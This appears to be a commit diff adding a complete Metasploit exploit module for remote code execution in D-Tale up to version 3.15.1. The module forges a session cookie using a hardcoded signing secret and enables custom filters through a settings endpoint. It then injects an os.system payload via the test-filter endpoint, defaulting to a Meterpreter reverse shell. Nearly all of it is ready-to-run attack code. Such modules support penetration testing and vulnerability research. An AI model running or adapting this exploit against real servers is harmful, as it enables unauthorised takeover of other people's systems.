|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + # forge a cookie in case there was authentication enabled: |
| 13 | + # import hashlib |
| 14 | + # from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous |
| 15 | + # signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) } |
| 16 | + # ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs) |
| 17 | + # session = ser.dumps({"logged_in" : True, "username" : "whatever"}) |
| 18 | + SESSION = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc' |
| 19 | + |
| 20 | + def initialize(info = {}) |
| 21 | + super( |
| 22 | + update_info( |
| 23 | + info, |
| 24 | + 'Name' => 'D-Tale RCE', |
| 25 | + 'Description' => %q{ |
| 26 | + This exploit effectively serves as a bypass for CVE-2024-3408. |
| 27 | + An attacker can override global state to enable custom filters, which then facilitates remote code execution. |
| 28 | + Specifically, this vulnerability leverages the ability to manipulate global application settings to activate the enable_custom_filters feature, typically restricted to trusted environments. |
| 29 | + Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands. |
| 30 | + }, |
| 31 | + 'Author' => [ |
| 32 | + 'taiphung217', # Vulnerability discovery and PoC |
| 33 | + 'Takahiro Yokoyama' # Metasploit module |
| 34 | + ], |
| 35 | + 'License' => MSF_LICENSE, |
| 36 | + 'References' => [ |
| 37 | + ['CVE', '2024-3408'], |
| 38 | + ['CVE', '2025-0655'], |
| 39 | + ['URL', 'https://huntr.com/bounties/f63af7bd-5438-4b36-a39b-4c90466cff13'], |
| 40 | + ], |
| 41 | + 'Platform' => %w[linux], |
| 42 | + 'Targets' => [ |
| 43 | + [ |
| 44 | + 'Linux Command', { |
| 45 | + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, |
| 46 | + 'DefaultOptions' => { |
| 47 | + # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp |
| 48 | + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' |
| 49 | + } |
| 50 | + } |
| 51 | + ], |
| 52 | + ], |
| 53 | + 'DefaultOptions' => { |
| 54 | + 'FETCH_DELETE' => true |
| 55 | + }, |
| 56 | + 'DefaultTarget' => 0, |
| 57 | + 'Payload' => { |
| 58 | + 'BadChars' => '\'"' |
| 59 | + }, |
| 60 | + 'DisclosureDate' => '2025-02-05', |
| 61 | + 'Notes' => { |
| 62 | + 'Stability' => [ CRASH_SAFE, ], |
| 63 | + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], |
| 64 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 65 | + } |
| 66 | + ) |
| 67 | + ) |
| 68 | + register_options( |
| 69 | + [ |
| 70 | + Opt::RPORT(40000), |
| 71 | + ] |
| 72 | + ) |
| 73 | + end |
| 74 | + |
| 75 | + def check |
| 76 | + res = send_request_cgi({ |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload'), |
| 79 | + 'headers' => { |
| 80 | + 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie |
| 81 | + } |
| 82 | + }) |
| 83 | + return Exploit::CheckCode::Unknown unless res&.code == 200 |
| 84 | + |
| 85 | + html_document = res.get_html_document |
| 86 | + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? |
| 87 | + |
| 88 | + version_element = html_document.xpath('//*[@id="version"]/@value') |
| 89 | + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? |
| 90 | + |
| 91 | + version = Rex::Version.new(version_element&.text) |
| 92 | + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version <= Rex::Version.new('3.15.1') |
| 93 | + |
| 94 | + Exploit::CheckCode::Appears("Version #{version} detected.") |
| 95 | + end |
| 96 | + |
| 97 | + def exploit |
| 98 | + # Create a new MIME message (multipart form data) |
| 99 | + mime = Rex::MIME::Message.new |
| 100 | + # Add the file part to the body |
| 101 | + fname = "#{rand_text_alpha(3)}.csv" |
| 102 | + mime.add_part( |
| 103 | + "#{rand_text_alpha(1)},#{rand_text_alpha(1)}\n#{rand_text_numeric(1)},#{rand_text_numeric(1)}", |
| 104 | + 'text/csv', |
| 105 | + nil, |
| 106 | + "form-data; name=\"#{fname}\"; filename=\"#{fname}\"" |
| 107 | + ) |
| 108 | + # Add additional form data |
| 109 | + mime.add_part('true', nil, nil, 'form-data; name="header"') |
| 110 | + mime.add_part('comma', nil, nil, 'form-data; name="separatorType"') |
| 111 | + mime.add_part('', nil, nil, 'form-data; name="separator"') |
| 112 | + |
| 113 | + res = send_request_cgi({ |
| 114 | + 'method' => 'POST', |
| 115 | + 'uri' => normalize_uri(target_uri.path, 'dtale/upload'), |
| 116 | + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", |
| 117 | + 'data' => mime.to_s, |
| 118 | + 'headers' => { |
| 119 | + 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie |
| 120 | + } |
| 121 | + }) |
| 122 | + @data_id = res&.get_json_document&.fetch('data_id', nil) |
| 123 | + fail_with(Failure::Unknown, 'Failed to get data_id from response.') unless @data_id |
| 124 | + print_status("Use data_id: #{@data_id}") |
| 125 | + |
| 126 | + res = send_request_cgi({ |
| 127 | + 'method' => 'GET', |
| 128 | + 'uri' => normalize_uri(target_uri.path, "dtale/update-settings/#{@data_id}"), |
| 129 | + 'vars_get' => { |
| 130 | + 'settings' => { 'enable_custom_filters' => true }.to_json |
| 131 | + }, |
| 132 | + 'headers' => { |
| 133 | + 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie |
| 134 | + } |
| 135 | + }) |
| 136 | + fail_with(Failure::Unknown, 'Failed to update the settings.') unless res&.get_json_document&.fetch('success', nil) |
| 137 | + print_status('Updated the enable_custom_filters to true.') |
| 138 | + |
| 139 | + send_request_cgi({ |
| 140 | + 'method' => 'GET', |
| 141 | + 'uri' => normalize_uri(target_uri.path, "dtale/test-filter/#{@data_id}"), |
| 142 | + 'vars_get' => { |
| 143 | + 'query' => "@pd.core.frame.com.builtins.__import__('os').system('#{payload.encoded}')", |
| 144 | + 'save' => true |
| 145 | + }, |
| 146 | + 'headers' => { |
| 147 | + 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie |
| 148 | + } |
| 149 | + }) |
| 150 | + print_status('Successfully executed the payload.') |
| 151 | + end |
| 152 | + |
| 153 | + def cleanup |
| 154 | + super |
| 155 | + |
| 156 | + if @data_id |
| 157 | + res = send_request_cgi({ |
| 158 | + 'method' => 'GET', |
| 159 | + 'uri' => normalize_uri(target_uri.path, 'dtale/cleanup-datasets'), |
| 160 | + 'vars_get' => { |
| 161 | + 'dataIds' => @data_id |
| 162 | + }, |
| 163 | + 'headers' => { |
| 164 | + 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie |
| 165 | + } |
| 166 | + }) |
| 167 | + print_status("Failed to clean up data_id: #{@data_id}") unless res&.get_json_document&.fetch('success', nil) |
| 168 | + print_status("Successfully cleaned up data_id: #{@data_id}") |
| 169 | + end |
| 170 | + end |
| 171 | + |
| 172 | +end |
0 commit comments